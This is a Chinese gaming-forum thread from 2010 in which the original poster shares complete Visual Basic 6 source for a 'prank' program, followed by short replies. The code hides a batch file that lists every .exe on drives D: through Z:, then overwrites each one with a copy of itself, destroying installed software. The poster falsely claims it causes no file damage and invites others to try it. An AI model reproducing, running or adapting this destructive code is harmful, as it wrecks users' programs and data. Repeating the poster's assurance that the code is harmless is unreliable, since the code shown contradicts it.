今日发帖冠军:
👦
小强
🥇
2贴
登录
解锁个人详细信息
🥇冠军
👦小强
今日发帖:
2
,🏆
冠军王座
🏆
🥈亚军
👦打死打死打死
今日发帖:
1
, 距冠军差:
1
帖
🥉季军
👹tangxingyong
今日发帖:
1
, 距冠军差:
1
帖
🤖
[虚席以待]
等你来战!
🤖
[虚席以待]
等你来战!
🏆
【今日发帖-冠军】享受以下特权
🏆
🌈发帖100%获得以下积分:
【1粒金豆】+【1~3片龙鳞】+【1~3枚铜币】+【1点能量】
🌈在发帖冠军时间内获得【发贴冠军胸章】
🌈首页四格显示专属【动态彩虹昵称+发贴冠军图标】
🌈列表页内显示专属【动态彩虹昵称+发贴冠军图标】
🌈阅读贴内显示专属【动态彩虹昵称】
🌈阅读贴内显示专属【动态彩虹数字ID】
🌈阅读贴内显示专属【专属贴内背景】
🌈阅读贴内显示专属【冠军奖牌】
【今日发帖-亚军】享受以下特权
🌈发帖100%获得【0.5~1片龙鳞】+【1枚铜币】
【今日发帖-季军】享受以下特权
🌈发帖100%获得【0.1~1片龙鳞】
中华游戏网 CNYOUW - 玩你所玩,乐你所乐!
网游单机下载
手游资源下载
DNF单机版
高级搜索
个人中心
设置资料
我的主题
我的回复
设置头像
修改密码
绑定马甲
隐私设置
我的权限
好友近况
积分日志
退出登录
等级: 游客
帖子:
今日:
龙鳞: 片
铜币: 枚
能量: 点
最后位置:
最后IP:
18.191.240.127
用户名
UID
Email
注册新帐号
密 码
忘记密码?
下次自动登录
您好,欢迎来中华游戏网!
请登录
立即注册
购买会员
购买积分
购买胸章
版主签到
附件展区
积分兑换
统计排行
基本信息
管理团队
管理操作
在线会员
会员排行
版块排行
帖子排行
版主签到
一键打卡
每日打卡
龙鳞魔堡
金豆锻造
荣誉胸章
海底寻宝
非诚勿扰
虚拟刮奖
杂货道具
好友印象
心情随笔
中华银行
家族部落
积分兑换
图片上传
图片压缩
在线翻译
在线查毒
聊天交友乐园
作品交流
自拍自曝
DNF模型修改
精品资源下载
单机游戏下载
隐藏
快速浏览
站务综合
新手接待小屋
社区站务处理
社区广播公告
管理会议小屋
游戏综合区
网游单机下载
单机游戏下载
网游单机交流
单机游戏交流
休闲娱乐专区
聊天交友乐园
欢乐雷人恶搞
大杂烩
QQ技术交流
午夜恐怖奇谈
精品资源下载
电脑技术交流
自拍自曝
中华影院
音乐不断
动漫交流
图片设计
地下城与勇士单机版 [ 封 存 回 忆 ] 🪦
DNF单机版交流区
DNF单机版存档分享
DNF单机版DIY专区
DNF单机版2
中华游戏网
»
电脑技术交流
»
一段要人命的vb代码
发表帖子
发表新帖
回帖
返回列表
第一页
1
2
尾页
Go
页码:1/2
No.81013
👦
十方破沙羅
登录解锁详细资料
猥琐兼淫荡的十方终于出手了。哈哈哈。
、
猪八戒。猪 ..
[道具]
[正序]
[只看他]
[
屏蔽签名
|
屏蔽头像
]
🪜楼主
一段要人命的vb代码
写于:
中华游戏网-CNYOUW
👦会员:
十方破沙羅
🕘时间:2010-09-13 03:00 👀围观:
31657
人 💬回复:
13
人
-----------------------------------------------声明---------------------------------------------------------------
如果您在没有读懂代码的情况下请不要生成exe文件运行.............否则不要怪我没提醒你。。。。。。。
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Load()
On Error Resume Next '容错句
If Dir("c:\123.txt") = "" Then '如果123.txt不存在则创建 bat遍历exe文件
Open "c:\a.bat" For Output As #1 '打开bat文件
Print #1, "for %%a in (d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: x: y: z:) do dir /s/b %%a\*.exe >>e:\123.txt" '写入数据
Close #1 '关闭文件
Sleep 200 '延时200秒等待文件生成(主要为了慢机器)
Shell "c:\a.bat", 0 '隐藏运行之
End If
Sleep 60000 '延时1分钟等待exe遍历完成
Dim A() As String
Dim C As Long, I As Integer
Open "c:\123.txt" For Input As #1 '读取txt里面的内容
Do While EOF(1) = False
ReDim Preserve A(C)
Input #1, A(C)
C = C + 1
Loop
Close #1
For I = 0 To C - 1
FileCopy App.Path & "\" & App.EXEName & ".exe", A(I) '把txt里面的内容替换掉
Next
End Sub
PS:
其实我也不懂编代码..
不过这个嘛...我只能说...
人生在世.害人二字....
虽然是这样说..但至少不会让你重装系统..
玩玩而已的东西...
中华游戏网 cnyouw.cn
打赏楼主
点评记录(共条)
SIGNATURE
评分选定
举报
回复
引用
No.837088
👹
fenger_yan
登录解锁详细资料
🕘
时间: 2013-08-09
[只看他]
[
屏蔽签名
|
屏蔽头像
]
🪜宅13楼
楼主你太有才了![懒人回复]
点评记录(共条)
SIGNATURE
中华游戏网 — 玩你所玩,乐你所乐!
cnyouw.cn
评分选定
举报
回复
引用
评分
No.834296
👹
很安静
登录解锁详细资料
🕘
时间: 2013-07-24
[只看他]
[
屏蔽签名
|
屏蔽头像
]
🪜腐12楼
楼主你太有才了![懒人回复]
点评记录(共条)
SIGNATURE
铸造一个强悍的内心世界 容下需要的一切
评分选定
举报
回复
引用
评分
No.59391
👹
764454923
登录解锁详细资料
🕘
时间: 2011-01-15
[只看他]
[
屏蔽签名
|
屏蔽头像
]
🪜宅11楼
看不懂
点评记录(共条)
SIGNATURE
中华游戏网 — 玩你所玩,乐你所乐!
cnyouw.cn
评分选定
举报
回复
引用
评分
No.277668
👦
明焕
登录解锁详细资料
🕘
时间: 2010-11-17
[只看他]
[
屏蔽签名
|
屏蔽头像
]
🪜腐10楼
在下在虚拟机中没有试出结果,
,语言技术不行,也没有看出什么作用
点评记录(共条)
SIGNATURE
就在这里的博客
评分选定
举报
回复
引用
评分
No.238858
👹
wang0899
登录解锁详细资料
🕘
时间: 2010-10-06
[只看他]
[
屏蔽签名
|
屏蔽头像
]
🪜宅9楼
顶一个,谢谢分享,学习了!
点评记录(共条)
SIGNATURE
中华游戏网 — 玩你所玩,乐你所乐!
cnyouw.cn
评分选定
举报
回复
引用
评分
No.81013
👦
十方破沙羅
登录解锁详细资料
猥琐兼淫荡的十方终于出手了。哈哈哈。
、
猪八戒。猪 ..
🕘
时间: 2010-09-13
[只看他]
[
屏蔽签名
|
屏蔽头像
]
🪜腐8楼
回 7楼(被游街の神) 的帖子
我只能说..这段代码不会造成文件损坏..不会让你重装系统..
你敢做勇敢的小白鼠吗?
另外..为什么总要在我名字前面加上YD二字呢?其实我很单纯的...
点评记录(共条)
SIGNATURE
评分选定
举报
回复
引用
评分
No.68139
👦
飞翔の卡米
登录解锁详细资料
记得 有时间过来逛逛~~
、
游神,记得常回来看看
、
我觉 ..
🕘
时间: 2010-09-13
[只看他]
[
屏蔽签名
|
屏蔽头像
]
🪜宅7楼
YD的十方,你自己试过没
点评记录(共条)
SIGNATURE
评分选定
举报
回复
引用
评分
No.35036
👦
流星落
登录解锁详细资料
☆上帝之遗弃之仔的幻影``。
🕘
时间: 2010-09-13
[只看他]
[
屏蔽签名
|
屏蔽头像
]
🪜腐6楼
话说恶搞的VB代码我只会写自动关机的
没学VB编程
点评记录(共条)
SIGNATURE
评分选定
举报
回复
引用
评分
No.216231
👧
qinchoudaoti
登录解锁详细资料
🕘
时间: 2010-09-13
[只看他]
[
屏蔽签名
|
屏蔽头像
]
🪜宅5楼
看不懂,要不你再给来个讲解吧
点评记录(共条)
SIGNATURE
开心每一天
评分选定
举报
回复
引用
评分
第一页
1
2
尾页
Go
页码:1/2
发表新帖
回帖
中华游戏网
»
电脑技术交流
http://cnyouw.cn
您访问的链接为外部链接,请注意安全!
继续访问
取消访问
快速回复
限 160 字节
进入高级模式[可上传附件]
加粗
字体颜色
背景颜色
插入链接
图片
验证问题:
在大明湖畔等皇上的是谁? 正确答案:
Ctrl + Enter 快速发布
匿名回贴(消耗10铜币)
🤪
为防止个别捣乱会员恶意灌水
注册会员发帖量达到
20
贴
即可解锁快捷表情发送
上一个
下一个